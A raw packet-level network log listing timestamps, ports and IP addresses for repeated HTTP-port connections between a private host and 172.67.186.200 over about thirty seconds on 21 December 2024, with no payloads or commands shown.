Dec 21, 2024 11:08:17.025269032 CET	49801	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.089572906 CET	80	49800	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:17.134640932 CET	49800	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.214211941 CET	80	49801	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:17.259645939 CET	49801	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.333363056 CET	49800	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.333451986 CET	49801	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.334189892 CET	49807	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.453562021 CET	80	49800	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:17.453649044 CET	49800	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.453824997 CET	80	49807	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:17.453856945 CET	80	49801	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:17.454025030 CET	49807	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.454035997 CET	49801	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.454236984 CET	49807	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.573849916 CET	80	49807	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:17.806617022 CET	49807	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:17.926739931 CET	80	49807	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:17.926812887 CET	80	49807	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:18.547142982 CET	80	49807	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:18.587865114 CET	49807	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:18.779591084 CET	80	49807	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:18.785624981 CET	49807	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:18.907876015 CET	80	49807	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:18.907943964 CET	49807	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:18.912974119 CET	49812	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:19.032896042 CET	80	49812	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:19.033027887 CET	49812	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:19.033169985 CET	49812	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:19.155021906 CET	80	49812	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:19.384728909 CET	49812	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:19.504774094 CET	80	49812	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:19.504816055 CET	80	49812	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:20.121035099 CET	80	49812	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:20.165927887 CET	49812	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:20.358177900 CET	80	49812	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:20.400278091 CET	49812	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:20.476138115 CET	49812	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:20.476526022 CET	49814	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:20.596098900 CET	80	49812	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:20.596226931 CET	80	49814	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:20.596348047 CET	49812	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:20.596349001 CET	49814	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:20.596491098 CET	49814	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:20.717097998 CET	80	49814	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:20.947243929 CET	49814	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:21.067265034 CET	80	49814	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:21.067295074 CET	80	49814	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:21.682775021 CET	80	49814	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:21.728511095 CET	49814	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:21.917479992 CET	80	49814	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:21.962852001 CET	49814	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.035353899 CET	49814	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.036072016 CET	49820	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.103962898 CET	49820	80	192.168.2.4	104.21.2.8
Dec 21, 2024 11:08:22.104547024 CET	49821	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.155668020 CET	80	49814	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.155745983 CET	49814	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.155756950 CET	80	49820	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.155822039 CET	49820	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.223829985 CET	80	49820	104.21.2.8	192.168.2.4
Dec 21, 2024 11:08:22.223911047 CET	49820	80	192.168.2.4	104.21.2.8
Dec 21, 2024 11:08:22.224020958 CET	49820	80	192.168.2.4	104.21.2.8
Dec 21, 2024 11:08:22.224370956 CET	80	49821	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.224438906 CET	49821	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.224522114 CET	49821	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.344156981 CET	80	49821	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.347206116 CET	49822	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.467454910 CET	80	49822	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.467556953 CET	49822	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.467664003 CET	49822	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.572388887 CET	49821	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.587708950 CET	80	49822	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.692527056 CET	80	49821	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.692560911 CET	80	49821	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.822309971 CET	49822	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:22.941994905 CET	80	49822	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:22.942029953 CET	80	49822	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:23.310820103 CET	80	49821	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:23.353537083 CET	49821	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:23.549455881 CET	80	49821	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:23.555078030 CET	80	49822	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:23.603415012 CET	49821	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:23.603609085 CET	49822	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:23.795411110 CET	80	49822	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:23.837913036 CET	49822	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:23.912499905 CET	49822	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:23.912512064 CET	49821	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:23.913495064 CET	49827	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:24.032612085 CET	80	49822	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:24.032680988 CET	49822	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:24.033041000 CET	80	49827	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:24.033096075 CET	80	49821	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:24.033144951 CET	49821	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:24.033143997 CET	49827	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:24.033363104 CET	49827	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:24.154269934 CET	80	49827	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:24.384790897 CET	49827	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:24.504641056 CET	80	49827	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:24.504868984 CET	80	49827	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:25.119169950 CET	80	49827	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:25.165896893 CET	49827	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:25.354362965 CET	80	49827	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:25.400276899 CET	49827	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:25.472254038 CET	49833	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:25.593324900 CET	80	49833	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:25.593410015 CET	49833	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:25.593561888 CET	49833	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:25.713140965 CET	80	49833	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:25.949285030 CET	49833	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:26.069771051 CET	80	49833	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:26.069871902 CET	80	49833	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:26.681387901 CET	80	49833	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:26.728483915 CET	49833	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:26.913891077 CET	80	49833	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:26.962785006 CET	49833	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:27.034003019 CET	49833	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:27.034634113 CET	49835	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:27.154588938 CET	80	49833	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:27.154843092 CET	80	49835	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:27.154891014 CET	49833	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:27.154918909 CET	49835	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:27.155239105 CET	49835	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:27.274673939 CET	80	49835	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:27.509819984 CET	49835	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:27.631181002 CET	80	49835	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:27.631335974 CET	80	49835	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:28.240257025 CET	80	49835	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:28.290940046 CET	49835	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.473449945 CET	80	49835	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:28.525273085 CET	49835	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.557066917 CET	49835	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.558073997 CET	49841	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.598196983 CET	49842	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.677035093 CET	80	49835	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:28.677093983 CET	49835	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.677638054 CET	80	49841	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:28.677704096 CET	49841	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.717916965 CET	80	49842	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:28.717989922 CET	49842	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.718108892 CET	49842	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:28.837547064 CET	80	49842	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:29.072280884 CET	49842	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:29.192516088 CET	80	49842	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:29.192537069 CET	80	49842	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:29.807137966 CET	80	49842	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:29.853436947 CET	49842	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:30.046811104 CET	80	49842	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:30.087774038 CET	49842	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:30.162277937 CET	49842	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:30.163135052 CET	49847	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:30.282290936 CET	80	49842	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:30.282341957 CET	49842	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:30.282856941 CET	80	49847	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:30.282931089 CET	49847	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:30.283104897 CET	49847	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:30.404517889 CET	80	49847	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:30.634747982 CET	49847	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:30.754750013 CET	80	49847	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:30.755075932 CET	80	49847	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:31.367758036 CET	80	49847	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:31.415955067 CET	49847	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:31.603231907 CET	80	49847	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:31.603511095 CET	49847	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:31.723514080 CET	80	49847	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:31.723623991 CET	49847	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:31.724234104 CET	49852	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:31.844244957 CET	80	49852	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:31.844357014 CET	49852	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:31.844521999 CET	49852	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:31.964150906 CET	80	49852	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:32.197333097 CET	49852	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:32.321168900 CET	80	49852	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:32.323656082 CET	80	49852	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:32.930850983 CET	80	49852	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:32.978487015 CET	49852	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.165498972 CET	80	49852	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:33.212821960 CET	49852	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.285772085 CET	49852	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.286530018 CET	49855	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.406069994 CET	80	49852	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:33.406187057 CET	49852	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.406188965 CET	80	49855	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:33.406290054 CET	49855	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.406491995 CET	49855	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.526077032 CET	80	49855	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:33.604357004 CET	49855	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.605211020 CET	49857	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.724759102 CET	80	49857	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:33.724881887 CET	49857	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.725028992 CET	49857	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.725927114 CET	49860	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.765428066 CET	80	49855	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:33.844556093 CET	80	49857	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:33.845490932 CET	80	49860	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:33.845596075 CET	49860	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.845716000 CET	49860	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:33.965369940 CET	80	49860	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:34.072431087 CET	49857	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:34.192061901 CET	80	49857	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:34.192173958 CET	80	49857	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:34.197334051 CET	49860	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:34.297533989 CET	80	49855	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:34.297612906 CET	49855	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:34.317259073 CET	80	49860	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:34.317291021 CET	80	49860	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:34.811402082 CET	80	49857	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:34.869102001 CET	49857	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:34.931613922 CET	80	49860	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:34.978461981 CET	49860	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.047028065 CET	80	49857	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:35.087817907 CET	49857	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.171575069 CET	80	49860	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:35.212985039 CET	49860	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.284563065 CET	49857	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.285578966 CET	49860	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.285583973 CET	49863	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.404639006 CET	80	49857	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:35.404814959 CET	49857	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.405155897 CET	80	49863	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:35.405253887 CET	49863	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.405451059 CET	49863	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.405545950 CET	80	49860	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:35.405617952 CET	49860	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.527064085 CET	80	49863	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:35.760009050 CET	49863	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:35.883627892 CET	80	49863	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:35.883666992 CET	80	49863	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:36.490401030 CET	80	49863	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:36.540999889 CET	49863	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:36.731538057 CET	80	49863	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:36.775369883 CET	49863	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:36.853311062 CET	49866	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:36.973056078 CET	80	49866	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:36.973213911 CET	49866	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:36.973347902 CET	49866	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:37.092860937 CET	80	49866	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:37.322334051 CET	49866	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:37.475533962 CET	80	49866	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:37.475574017 CET	80	49866	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:38.067572117 CET	80	49866	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:38.119066954 CET	49866	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:38.305825949 CET	80	49866	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:38.353578091 CET	49866	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:38.426496029 CET	49866	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:38.427438974 CET	49871	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:38.547691107 CET	80	49866	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:38.547780037 CET	80	49871	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:38.547875881 CET	49866	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:38.547934055 CET	49871	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:38.548145056 CET	49871	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:38.667942047 CET	80	49871	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:38.900509119 CET	49871	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:39.020422935 CET	80	49871	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:39.020472050 CET	80	49871	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:39.633492947 CET	80	49871	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:39.681653023 CET	49871	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.057471991 CET	49871	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.058289051 CET	49875	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.171366930 CET	49863	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.177923918 CET	49876	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.178000927 CET	80	49875	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:40.178093910 CET	49875	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.178113937 CET	80	49871	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:40.178170919 CET	49871	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.178215981 CET	49875	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.297610998 CET	80	49876	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:40.297863007 CET	80	49875	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:40.297940016 CET	49876	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.298104048 CET	49876	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.417634010 CET	80	49876	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:40.525454998 CET	49875	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.645541906 CET	80	49875	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:40.645733118 CET	80	49875	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:40.650522947 CET	49876	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:40.770235062 CET	80	49876	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:40.770324945 CET	80	49876	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:41.263362885 CET	80	49875	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:41.309071064 CET	49875	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.383205891 CET	80	49876	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:41.431555986 CET	49876	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.499285936 CET	80	49875	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:41.540961027 CET	49875	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.621248960 CET	80	49876	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:41.665966034 CET	49876	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.741044044 CET	49875	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.741084099 CET	49876	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.742063046 CET	49879	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.861835957 CET	80	49879	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:41.862039089 CET	49879	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.862174034 CET	49879	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.862236023 CET	80	49875	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:41.862364054 CET	49875	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.862566948 CET	80	49876	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:41.862627983 CET	49876	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:41.981933117 CET	80	49879	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:42.212928057 CET	49879	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:42.332725048 CET	80	49879	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:42.332943916 CET	80	49879	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:42.954152107 CET	80	49879	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:42.994131088 CET	49879	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:43.193618059 CET	80	49879	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:43.193870068 CET	49879	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:43.313813925 CET	80	49879	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:43.313889027 CET	49879	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:43.317622900 CET	49884	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:43.437671900 CET	80	49884	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:43.437762022 CET	49884	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:43.437928915 CET	49884	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:43.560318947 CET	80	49884	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:43.799823046 CET	49884	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:43.919543982 CET	80	49884	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:43.919579983 CET	80	49884	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:44.525342941 CET	80	49884	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:44.572221994 CET	49884	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:44.765563965 CET	80	49884	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:44.822221994 CET	49884	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:44.893758059 CET	49759	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:44.893879890 CET	49827	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:44.895988941 CET	49884	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:44.896792889 CET	49889	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:45.015796900 CET	80	49884	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:45.015858889 CET	49884	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:45.016359091 CET	80	49889	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:45.016464949 CET	49889	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:45.016642094 CET	49889	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:45.136213064 CET	80	49889	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:45.369204998 CET	49889	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:45.489923954 CET	80	49889	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:45.490125895 CET	80	49889	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:46.102005959 CET	80	49889	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:46.150352955 CET	49889	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.346347094 CET	80	49889	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:46.400453091 CET	49889	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.558090925 CET	49889	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.558698893 CET	49894	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.630424023 CET	49895	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.678251982 CET	80	49889	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:46.678292036 CET	80	49894	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:46.678323984 CET	49889	80	192.168.2.4	172.67.186.200
